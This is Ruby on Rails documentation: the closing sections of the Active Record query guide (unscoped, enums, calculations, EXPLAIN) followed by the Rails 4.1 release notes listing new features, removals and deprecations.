If we wish to remove scoping for any reason we can use the [`unscoped`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped) method. This is especially useful if a `default_scope` is specified in the model and should not be applied for this particular query.

```
class Book < ApplicationRecord
  default_scope { where(out_of_print: false) }

  scope :in_print, -> { where(out_of_print: false) }
  scope :out_of_print, -> { where(out_of_print: true) }
end
```

This method removes all scoping and will do a normal query on the table.

```
store(dev)> Book.unscoped.all
SELECT books.* FROM books

store(dev)> Book.where(out_of_print: true).unscoped.all
SELECT books.* FROM books
```

`unscoped` can also accept a block. All queries inside the block will not use the previously set scopes.

```
store(dev)> Book.in_print.unscoped { Book.out_of_print }

SELECT books.* FROM books WHERE books.out_of_print = true
```

## [18. Enums](#enums)

Sometimes you might want to restrict the value of an attribute to a predefined list of values.

An enum lets you define an Array of values for an attribute and refer to them by name. The actual value stored in the database is an integer that has been mapped to one of the values.

Declaring an enum will create scopes, predicate methods and setter methods for all possible values of an enum.

For example:

```
class Order < ApplicationRecord
  enum :status, [:shipped, :being_packaged, :complete, :cancelled]
end
```

Given the [`enum`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Enum.html#method-i-enum) declaration above, [scopes](#scopes) are created automatically for each enum value and can be used to find all records with or without a particular value for `status`:

```
store(dev)> Order.shipped
=> #<ActiveRecord::Relation> # all orders with status == :shipped
store(dev)> Order.not_shipped
=> #<ActiveRecord::Relation> # all orders with status != :shipped
```

Predicate methods are created automatically for each enum value and return whether the model has that value for the `status` enum:

```
store(dev)> order = Order.shipped.first
store(dev)> order.shipped?
=> true
store(dev)> order.complete?
=> false
```

Instance methods are created automatically for each enum value that will first update the value of `status` to the named value and then query whether or not the status has been successfully set to the value:

```
store(dev)> order = Order.first
store(dev)> order.shipped!
UPDATE "orders" SET "status" = ?, "updated_at" = ? WHERE "orders"."id" = ?  [["status", 0], ["updated_at", "2019-01-24 07:13:08.524320"], ["id", 1]]
=> true
```

You can read more about enums in the [ActiveRecord::Enum documentation](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Enum.html).

## [19. Calculations](#calculations)

Active Record supports different methods to do calculations in the database. With these methods you don't need to instantiate `ActiveRecord` models to make calculations. Calculating results in the database will generally be more performant.

This section uses [`count`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-count) as an example method in this preamble, but the same patterns apply to all calculation methods.

All calculation methods work directly on a model:

```
store(dev)> Customer.count
SELECT COUNT(*) FROM customers
# => 3753
```

Or on a relation:

```
store(dev)> Customer.where(first_name: "Ryan").count
SELECT COUNT(*) FROM customers WHERE (first_name = "Ryan")
# => 17
```

You can also use various finder methods on a relation for performing complex calculations:

```
store(dev)> Customer.includes("orders").where(first_name: "Ryan", orders: { status: "shipped" }).count
```

Which will execute:

```
SELECT COUNT(DISTINCT customers.id) FROM customers
  LEFT OUTER JOIN orders ON orders.customer_id = customers.id
  WHERE (customers.first_name = "Ryan" AND orders.status = 0)
```

assuming that Order has `enum status: [ :shipped, :being_packed, :cancelled ]`.

### [19.1. `count`](#count)

If you want to see how many records are in your model's table you could call `Customer.count` and that will return the number.

If you want to be more specific and count only customers with a title present in the database, you can pass `:title`:

```
Customer.count(:title)
```

### [19.2. `average`](#average)

If you want to see the average of a certain number in one of your tables you can call the [`average`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-average) method on the class that relates to the table. For example:

```
Order.average("subtotal")
# => 3.14159265
```

### [19.3. `minimum`](#minimum)

If you want to find the minimum value of a field in your table you can call the [`minimum`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-minimum) method on the class that relates to the table. This method call will look something like this:

```
Order.minimum("subtotal")
# => 123.45
```

### [19.4. `maximum`](#maximum)

If you want to find the maximum value of a field in your table you can call the [`maximum`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-maximum) method on the class that relates to the table. For example:

```
Order.maximum("subtotal")
# => 4567.89
```

### [19.5. `sum`](#sum)

If you want to find the sum of a field for all records in your table you can call the [`sum`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-sum) method on the class that relates to the table. This method call will look something like this:

```
Order.sum("subtotal")
# => 12345.67
```

## [20. Running `explain`](#running-explain)

You can run [`explain`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-explain) on a relation. EXPLAIN output varies for each database.

The following example shows how to run `explain` on a relation:

```
Customer.where(id: 1).joins(:orders).explain
```

The output will vary depending on the database adapter. For example, for MySQL and MariaDB, the output might look like this:

```
EXPLAIN SELECT `customers`.* FROM `customers` INNER JOIN `orders` ON `orders`.`customer_id` = `customers`.`id` WHERE `customers`.`id` = 1
+----+-------------+------------+-------+---------------+
| id | select_type | table      | type  | possible_keys |
+----+-------------+------------+-------+---------------+
|  1 | SIMPLE      | customers  | const | PRIMARY       |
|  1 | SIMPLE      | orders     | ALL   | NULL          |
+----+-------------+------------+-------+---------------+
+---------+---------+-------+------+-------------+
| key     | key_len | ref   | rows | Extra       |
+---------+---------+-------+------+-------------+
| PRIMARY | 4       | const |    1 |             |
| NULL    | NULL    | NULL  |    1 | Using where |
+---------+---------+-------+------+-------------+

2 rows in set (0.00 sec)
```

Active Record performs pretty printing that emulates the output of the corresponding database shell. Therefore, the same query run with the PostgreSQL adapter would instead yield:

```
EXPLAIN SELECT "customers".* FROM "customers" INNER JOIN "orders" ON "orders"."customer_id" = "customers"."id" WHERE "customers"."id" = $1 [["id", 1]]
                                  QUERY PLAN
------------------------------------------------------------------------------
 Nested Loop  (cost=4.33..20.85 rows=4 width=164)
    ->  Index Scan using customers_pkey on customers  (cost=0.15..8.17 rows=1 width=164)
          Index Cond: (id = "1"::bigint)
    ->  Bitmap Heap Scan on orders  (cost=4.18..12.64 rows=4 width=8)
          Recheck Cond: (customer_id = "1"::bigint)
          ->  Bitmap Index Scan on index_orders_on_customer_id  (cost=0.00..4.18 rows=4 width=0)
                Index Cond: (customer_id = "1"::bigint)
(7 rows)
```

Eager loading may trigger more than one query under the hood, and some queries may need the results of previous ones. Because of that, `explain` actually executes the query, and then asks for the query plans. For example, running:

```
Customer.where(id: 1).includes(:orders).explain
```

may yield this for MySQL and MariaDB:

```
EXPLAIN SELECT `customers`.* FROM `customers`  WHERE `customers`.`id` = 1
+----+-------------+-----------+-------+---------------+
| id | select_type | table     | type  | possible_keys |
+----+-------------+-----------+-------+---------------+
|  1 | SIMPLE      | customers | const | PRIMARY       |
+----+-------------+-----------+-------+---------------+
+---------+---------+-------+------+-------+
| key     | key_len | ref   | rows | Extra |
+---------+---------+-------+------+-------+
| PRIMARY | 4       | const |    1 |       |
+---------+---------+-------+------+-------+

1 row in set (0.00 sec)

EXPLAIN SELECT `orders`.* FROM `orders`  WHERE `orders`.`customer_id` IN (1)
+----+-------------+--------+------+---------------+
| id | select_type | table  | type | possible_keys |
+----+-------------+--------+------+---------------+
|  1 | SIMPLE      | orders | ALL  | NULL          |
+----+-------------+--------+------+---------------+
+------+---------+------+------+-------------+
| key  | key_len | ref  | rows | Extra       |
+------+---------+------+------+-------------+
| NULL | NULL    | NULL |    1 | Using where |
+------+---------+------+------+-------------+


1 row in set (0.00 sec)
```

and may yield this for PostgreSQL:

```
  Customer Load (0.3ms)  SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1  [["id", 1]]
  Order Load (0.3ms)  SELECT "orders".* FROM "orders" WHERE "orders"."customer_id" = $1  [["customer_id", 1]]
=> EXPLAIN SELECT "customers".* FROM "customers" WHERE "customers"."id" = $1 [["id", 1]]
                                    QUERY PLAN
----------------------------------------------------------------------------------
 Index Scan using customers_pkey on customers  (cost=0.15..8.17 rows=1 width=164)
   Index Cond: (id = "1"::bigint)
(2 rows)
```

You can also chain `explain` with calculation methods like [`count`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-count), [`first`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-first), [`last`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/FinderMethods.html#method-i-last), [`average`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-average), [`maximum`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-maximum), [`minimum`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-minimum), [`sum`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-sum), and [`pluck`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Calculations.html#method-i-pluck) to see the query plan for those operations:

```
Customer.where(active: true).explain.count
Customer.order(:created_at).explain.first
```

### [20.1. `.explain` Options](#explain-options)

For databases and adapters which support them (currently PostgreSQL, MySQL, and MariaDB), options can be passed to provide deeper analysis.

Using PostgreSQL, the following:

```
Customer.where(id: 1).joins(:orders).explain(:analyze, :verbose)
```

yields:

```
EXPLAIN (ANALYZE, VERBOSE) SELECT "shop_accounts".* FROM "shop_accounts" INNER JOIN "customers" ON "customers"."id" = "shop_accounts"."customer_id" WHERE "shop_accounts"."id" = $1 [["id", 1]]
                                                                   QUERY PLAN
------------------------------------------------------------------------------------------------------------------------------------------------
 Nested Loop  (cost=0.30..16.37 rows=1 width=24) (actual time=0.003..0.004 rows=0 loops=1)
   Output: shop_accounts.id, shop_accounts.customer_id, shop_accounts.customer_carrier_id
   Inner Unique: true
   ->  Index Scan using shop_accounts_pkey on public.shop_accounts  (cost=0.15..8.17 rows=1 width=24) (actual time=0.003..0.003 rows=0 loops=1)
         Output: shop_accounts.id, shop_accounts.customer_id, shop_accounts.customer_carrier_id
         Index Cond: (shop_accounts.id = "1"::bigint)
   ->  Index Only Scan using customers_pkey on public.customers  (cost=0.15..8.17 rows=1 width=8) (never executed)
         Output: customers.id
         Index Cond: (customers.id = shop_accounts.customer_id)
         Heap Fetches: 0
 Planning Time: 0.063 ms
 Execution Time: 0.011 ms
(12 rows)
```

Using MySQL or MariaDB, the following:

```
Customer.where(id: 1).joins(:orders).explain(:analyze)
```

yields:

```
ANALYZE SELECT `shop_accounts`.* FROM `shop_accounts` INNER JOIN `customers` ON `customers`.`id` = `shop_accounts`.`customer_id` WHERE `shop_accounts`.`id` = 1
+----+-------------+-------+------+---------------+------+---------+------+------+--------+----------+------------+--------------------------------+
| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | r_rows | filtered | r_filtered | Extra                          |
+----+-------------+-------+------+---------------+------+---------+------+------+--------+----------+------------+--------------------------------+
|  1 | SIMPLE      | NULL  | NULL | NULL          | NULL | NULL    | NULL | NULL | NULL   | NULL     | NULL       | no matching row in const table |
+----+-------------+-------+------+---------------+------+---------+------+------+--------+----------+------------+--------------------------------+
1 row in set (0.00 sec)
```

EXPLAIN and ANALYZE options vary across MySQL and MariaDB versions. ([MySQL 5.7](https://dev.mysql.com/doc/refman/5.7/en/explain.html), [MySQL 8.0](https://dev.mysql.com/doc/refman/8.0/en/explain.html), [MariaDB](https://mariadb.com/kb/en/analyze-and-explain-statements/))

### [20.2. Interpreting the Output](#interpreting-the-output)

Interpretation of the output of EXPLAIN is beyond the scope of this guide. The following pointers may be helpful:

* SQLite3: [EXPLAIN QUERY PLAN](https://www.sqlite.org/eqp.html)

* MySQL: [EXPLAIN Output Format](https://dev.mysql.com/doc/refman/en/explain-output.html)

* MariaDB: [EXPLAIN](https://mariadb.com/kb/en/mariadb/explain/)

* PostgreSQL: [Using EXPLAIN](https://www.postgresql.org/docs/current/static/using-explain.html)

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/4_1_release_notes.html
----

***

## [1. Upgrading to Rails 4.1](#upgrading-to-rails-4-1)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.1. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1) guide.

## [2. Major Features](#major-features)

### [2.1. Spring Application Preloader](#spring-application-preloader)

Spring is a Rails application preloader. It speeds up development by keeping your application running in the background so you don't need to boot it every time you run a test, rake task or migration.

New Rails 4.1 applications will ship with "springified" binstubs. This means that `bin/rails` and `bin/rake` will automatically take advantage of preloaded spring environments.

**Running rake tasks:**

```
$ bin/rake test:models
```

**Running a Rails command:**

```
$ bin/rails console
```

**Spring introspection:**

```
$ bin/spring status
Spring is running:

 1182 spring server | my_app | started 29 mins ago
 3656 spring app    | my_app | started 23 secs ago | test mode
 3746 spring app    | my_app | started 10 secs ago | development mode
```

Have a look at the [Spring README](https://github.com/rails/spring/blob/main/README.md) to see all available features.

See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring) guide on how to migrate existing applications to use this feature.

### [2.2. `config/secrets.yml`](#config-secrets-yml)

Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default, this file contains the application's `secret_key_base`, but it could also be used to store other secrets such as access keys for external APIs.

The secrets added to this file are accessible via `Rails.application.secrets`. For example, with the following `config/secrets.yml`:

```
development:
  secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
  some_api_key: SOMEKEY
```

`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development environment.

See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml) guide on how to migrate existing applications to use this feature.

### [2.3. Action Pack Variants](#action-pack-variants)

We often want to render different HTML/JSON/XML templates for phones, tablets, and desktop browsers. Variants make it easy.

The request variant is a specialization of the request format, like `:tablet`, `:phone`, or `:desktop`.

You can set the variant in a `before_action`:

```
request.variant = :tablet if request.user_agent =~ /iPad/
```

Respond to variants in the action just like you respond to formats:

```
respond_to do |format|
  format.html do |html|
    html.tablet # renders app/views/projects/show.html+tablet.erb
    html.phone { extra_setup; render ... }
  end
end
```

Provide separate templates for each format and variant:

```
app/views/projects/show.html.erb
app/views/projects/show.html+tablet.erb
app/views/projects/show.html+phone.erb
```

You can also simplify the variants definition using the inline syntax:

```
respond_to do |format|
  format.js         { render "trash" }
  format.html.phone { redirect_to progress_path }
  format.html.none  { render "trash" }
end
```

### [2.4. Action Mailer Previews](#action-mailer-previews)

Action Mailer previews provide a way to see how emails look by visiting a special URL that renders them.

You implement a preview class whose methods return the mail object you'd like to check:

```
class NotifierPreview < ActionMailer::Preview
  def welcome
    Notifier.welcome(User.first)
  end
end
```

The preview is available in <http://localhost:3000/rails/mailers/notifier/welcome>, and a list of them in <http://localhost:3000/rails/mailers>.

By default, these preview classes live in `test/mailers/previews`. This can be configured using the `preview_path` option.

See its [documentation](https://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html#class-ActionMailer::Base-label-Previewing+emails) for a detailed write up.

### [2.5. Active Record enums](#active-record-enums)

Declare an enum attribute where the values map to integers in the database, but can be queried by name.

```
class Conversation < ActiveRecord::Base
  enum status: [ :active, :archived ]
end

conversation.archived!
conversation.active? # => false
conversation.status  # => "archived"

Conversation.archived # => Relation for all archived Conversations

Conversation.statuses # => { "active" => 0, "archived" => 1 }
```

See its [documentation](https://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html) for a detailed write up.

### [2.6. Message Verifiers](#message-verifiers)

Message verifiers can be used to generate and verify signed messages. This can be useful to safely transport sensitive data like remember-me tokens and friends.

The method `Rails.application.message_verifier` returns a new message verifier that signs messages with a key derived from secret\_key\_base and the given message verifier name:

```
signed_token = Rails.application.message_verifier(:remember_me).generate(token)
Rails.application.message_verifier(:remember_me).verify(signed_token) # => token

Rails.application.message_verifier(:remember_me).verify(tampered_token)
# raises ActiveSupport::MessageVerifier::InvalidSignature
```

### [2.7. Module#concerning](#module-concerning)

A natural, low-ceremony way to separate responsibilities within a class:

```
class Todo < ActiveRecord::Base
  concerning :EventTracking do
    included do
      has_many :events
    end

    def latest_event
      # ...
    end

    private
      def some_internal_method
        # ...
      end
  end
end
```

This example is equivalent to defining a `EventTracking` module inline, extending it with `ActiveSupport::Concern`, then mixing it in to the `Todo` class.

See its [documentation](https://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html) for a detailed write up and the intended use cases.

### [2.8. CSRF protection from remote `<script>` tags](#csrf-protection-from-remote-script-tags)

Cross-site request forgery (CSRF) protection now covers GET requests with JavaScript responses, too. That prevents a third-party site from referencing your JavaScript URL and attempting to run it to extract sensitive data.

This means any of your tests that hit `.js` URLs will now fail CSRF protection unless they use `xhr`. Upgrade your tests to be explicit about expecting XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit `xhr :post, :create, format: :js`.

## [3. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md) for detailed changes.

### [3.1. Removals](#railties-removals)

* Removed `update:application_controller` rake task.

* Removed deprecated `Rails.application.railties.engines`.

* Removed deprecated `threadsafe!` from Rails Config.

* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in favor of `ActiveRecord::Generators::ActiveModel#update`.

* Removed deprecated `config.whiny_nils` option.

* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and `rake test:recent`.

### [3.2. Notable changes](#railties-notable-changes)

* The [Spring application preloader](https://github.com/rails/spring) is now installed by default for new applications. It uses the development group of the `Gemfile`, so will not be installed in production. ([Pull Request](https://github.com/rails/rails/pull/12958))

* `BACKTRACE` environment variable to show unfiltered backtraces for test failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553))

* Exposed `MiddlewareStack#unshift` to environment configuration. ([Pull Request](https://github.com/rails/rails/pull/12479))

* Added `Application#message_verifier` method to return a message verifier. ([Pull Request](https://github.com/rails/rails/pull/12995))

* The `test_help.rb` file which is required by the default generated test helper will automatically keep your test database up-to-date with `db/schema.rb` (or `db/structure.sql`). It raises an error if reloading the schema does not resolve all pending migrations. Opt out with `config.active_record.maintain_test_schema = false`. ([Pull Request](https://github.com/rails/rails/pull/13528))

* Introduce `Rails.gem_version` as a convenience method to return `Gem::Version.new(Rails.version)`, suggesting a more reliable way to perform version comparison. ([Pull Request](https://github.com/rails/rails/pull/14103))

## [4. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#action-pack-removals)

* Removed deprecated Rails application fallback for integration testing, set `ActionDispatch.test_app` instead.

* Removed deprecated `page_cache_extension` config.

* Removed deprecated `ActionController::RecordIdentifier`, use `ActionView::RecordIdentifier` instead.

* Removed deprecated constants from Action Controller:

| Removed                            | Successor                       |
| ---------------------------------- | ------------------------------- |
| ActionController::AbstractRequest  | ActionDispatch::Request         |
| ActionController::Request          | ActionDispatch::Request         |
| ActionController::AbstractResponse | ActionDispatch::Response        |
| ActionController::Response         | ActionDispatch::Response        |
| ActionController::Routing          | ActionDispatch::Routing         |
| ActionController::Integration      | ActionDispatch::Integration     |
| ActionController::IntegrationTest  | ActionDispatch::IntegrationTest |

### [4.2. Notable changes](#action-pack-notable-changes)

* `protect_from_forgery` also prevents cross-origin `<script>` tags. Update your tests to use `xhr :get, :foo, format: :js` instead of `get :foo, format: :js`. ([Pull Request](https://github.com/rails/rails/pull/13345))

* `#url_for` takes a hash with options inside an array. ([Pull Request](https://github.com/rails/rails/pull/9599))

* Added `session#fetch` method fetch behaves similarly to [Hash#fetch](https://docs.ruby-lang.org/en/master/Hash.html#method-i-fetch), with the exception that the returned value is always saved into the session. ([Pull Request](https://github.com/rails/rails/pull/12692))

* Separated Action View completely from Action Pack. ([Pull Request](https://github.com/rails/rails/pull/11032))

* Log which keys were affected by deep munge. ([Pull Request](https://github.com/rails/rails/pull/13813))

* New config option `config.action_dispatch.perform_deep_munge` to opt out of params "deep munging" that was used to address security vulnerability CVE-2013-0155. ([Pull Request](https://github.com/rails/rails/pull/13188))

* New config option `config.action_dispatch.cookies_serializer` for specifying a serializer for the signed and encrypted cookie jars. (Pull Requests [1](https://github.com/rails/rails/pull/13692), [2](https://github.com/rails/rails/pull/13945) / [More Details](upgrading_ruby_on_rails.html#cookies-serializer))

* Added `render :plain`, `render :html` and `render :body`. ([Pull Request](https://github.com/rails/rails/pull/14062) / [More Details](upgrading_ruby_on_rails.html#rendering-content-from-string))

## [5. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [5.1. Notable changes](#action-mailer-notable-changes)

* Added mailer previews feature based on 37 Signals mail\_view gem. ([Commit](https://github.com/rails/rails/commit/d6dec7fcb6b8fddf8c170182d4fe64ecfc7b2261))

* Instrument the generation of Action Mailer messages. The time it takes to generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556))

## [6. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md) for detailed changes.

### [6.1. Removals](#active-record-removals)

* Removed deprecated nil-passing to the following `SchemaCache` methods: `primary_keys`, `tables`, `columns` and `columns_hash`.

* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`.

* Removed deprecated String constructor from `ActiveRecord::Migrator`.

* Removed deprecated `scope` use without passing a callable object.

* Removed deprecated `transaction_joinable=` in favor of `begin_transaction` with a `:joinable` option.

* Removed deprecated `decrement_open_transactions`.

* Removed deprecated `increment_open_transactions`.

* Removed deprecated `PostgreSQLAdapter#outside_transaction?` method. You can use `#transaction_open?` instead.

* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of `ActiveRecord::Fixtures.default_fixture_model_name`.

* Removed deprecated `columns_for_remove` from `SchemaStatements`.

* Removed deprecated `SchemaStatements#distinct`.

* Moved deprecated `ActiveRecord::TestCase` into the Rails test suite. The class is no longer public and is only used for internal Rails tests.

* Removed support for deprecated option `:restrict` for `:dependent` in associations.

* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql` and `:counter_sql` options in associations.

* Removed deprecated method `type_cast_code` from Column.

* Removed deprecated `ActiveRecord::Base#connection` method. Make sure to access it via the class.

* Removed deprecation warning for `auto_explain_threshold_in_seconds`.

* Removed deprecated `:distinct` option from `Relation#count`.

* Removed deprecated methods `partial_updates`, `partial_updates?` and `partial_updates=`.

* Removed deprecated method `scoped`.

* Removed deprecated method `default_scopes?`.

* Remove implicit join references that were deprecated in 4.0.

* Removed `activerecord-deprecated_finders` as a dependency. Please see [the gem README](https://github.com/rails/activerecord-deprecated_finders#active-record-deprecated-finders) for more info.

* Removed usage of `implicit_readonly`. Please use `readonly` method explicitly to mark records as `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769))

### [6.2. Deprecations](#active-record-deprecations)

* Deprecated `quoted_locking_column` method, which isn't used anywhere.

* Deprecated `ConnectionAdapters::SchemaStatements#distinct`, as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556))

* Deprecated `rake db:test:*` tasks as the test database is now automatically maintained. See railties release notes. ([Pull Request](https://github.com/rails/rails/pull/13528))

* Deprecate unused `ActiveRecord::Base.symbolized_base_class` and `ActiveRecord::Base.symbolized_sti_name` without replacement. [Commit](https://github.com/rails/rails/commit/97e7ca48c139ea5cce2fa9b4be631946252a1ebd)

### [6.3. Notable changes](#active-record-notable-changes)

* Default scopes are no longer overridden by chained conditions.

Before this change when you defined a `default_scope` in a model it was overridden by chained conditions in the same field. Now it is merged like any other scope. [More Details](upgrading_ruby_on_rails.html#changes-on-default-scopes).

* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from a model's attribute or method. ([Pull Request](https://github.com/rails/rails/pull/12891))

* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on models. ([Pull Request](https://github.com/rails/rails/pull/12772))

* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`. `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425))

* `.unscope` now removes conditions specified in `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade))

* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing, named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2))

* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329))

* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values map to integers in the database, but can be queried by name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5))

* Type cast JSON values on write, so that the value is consistent with reading from the database. ([Pull Request](https://github.com/rails/rails/pull/12643))

* Type cast hstore values on write, so that the value is consistent with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d))

* Make `next_migration_number` accessible for third party generators. ([Pull Request](https://github.com/rails/rails/pull/12407))

* Calling `update_attributes` will now throw an `ArgumentError` whenever it gets a `nil` argument. More specifically, it will throw an error if the argument that it gets passed does not respond to `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860))

* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed query to fetch results rather than loading the entire collection. ([Pull Request](https://github.com/rails/rails/pull/12137))

* `inspect` on Active Record model classes does not initiate a new connection. This means that calling `inspect`, when the database is missing, will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014))

* Removed column restrictions for `count`, let the database raise if the SQL is invalid. ([Pull Request](https://github.com/rails/rails/pull/10710))

* Rails now automatically detects inverse associations. If you do not set the `:inverse_of` option on the association, then Active Record will guess the inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886))

* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys, ActiveRecord will now translate aliased attribute names to the actual column name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839))

* The ERB in fixture files is no longer evaluated in the context of the main object. Helper methods used by multiple fixtures should be defined on modules included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022))

* Don't create or drop the test database if RAILS\_ENV is specified explicitly. ([Pull Request](https://github.com/rails/rails/pull/13629))

* `Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert to an `Array` by calling `#to_a` before using these methods. ([Pull Request](https://github.com/rails/rails/pull/13314))

* `find_in_batches`, `find_each`, `Result#each` and `Enumerable#index_by` now return an `Enumerator` that can calculate its size. ([Pull Request](https://github.com/rails/rails/pull/13938))

* `scope`, `enum` and Associations now raise on "dangerous" name conflicts. ([Pull Request](https://github.com/rails/rails/pull/13450), [Pull Request](https://github.com/rails/rails/pull/13896))

* `second` through `fifth` methods act like the `first` finder. ([Pull Request](https://github.com/rails/rails/pull/13757))

* Make `touch` fire the `after_commit` and `after_rollback` callbacks. ([Pull Request](https://github.com/rails/rails/pull/12031))

* Enable partial indexes for `sqlite >= 3.8.0`. ([Pull Request](https://github.com/rails/rails/pull/13350))

* Make `change_column_null` revertible. ([Commit](https://github.com/rails/rails/commit/724509a9d5322ff502aefa90dd282ba33a281a96))

* Added a flag to disable schema dump after migration. This is set to `false` by default in the production environment for new applications. ([Pull Request](https://github.com/rails/rails/pull/13948))

## [7. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md) for detailed changes.

### [7.1. Deprecations](#active-model-deprecations)

* Deprecate `Validator#setup`. This should be done manually now in the validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a))

### [7.2. Notable changes](#active-model-notable-changes)

* Added new API methods `reset_changes` and `changes_applied` to `ActiveModel::Dirty` that control changes state.

* Ability to specify multiple contexts when defining a validation. ([Pull Request](https://github.com/rails/rails/pull/13754))

* `attribute_changed?` now accepts a hash to check if the attribute was changed `:from` and/or `:to` a given value. ([Pull Request](https://github.com/rails/rails/pull/13131))

## [8. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md) for detailed changes.

### [8.1. Removals](#active-support-removals)

* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode` no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))

* Removed support for the `encode_json` hook used for encoding custom objects into JSON. This feature has been extracted into the [activesupport-json\_encoder](https://github.com/rails/activesupport-json_encoder) gem. ([Related Pull Request](https://github.com/rails/rails/pull/12183) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))

* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement.

* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`).

* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`.

* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`.

* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`).

* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and `Time#local_time` in favor of `Time#utc` and `Time#local`.

* Removed deprecated `Hash#diff` with no replacement.

* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`.

* Removed deprecated `Proc#bind` with no replacement.

* Removed deprecated `Array#uniq_by` and `Array#uniq_by!`, use native `Array#uniq` and `Array#uniq!` instead.

* Removed deprecated `ActiveSupport::BasicObject`, use `ActiveSupport::ProxyObject` instead.

* Removed deprecated `BufferedLogger`, use `ActiveSupport::Logger` instead.

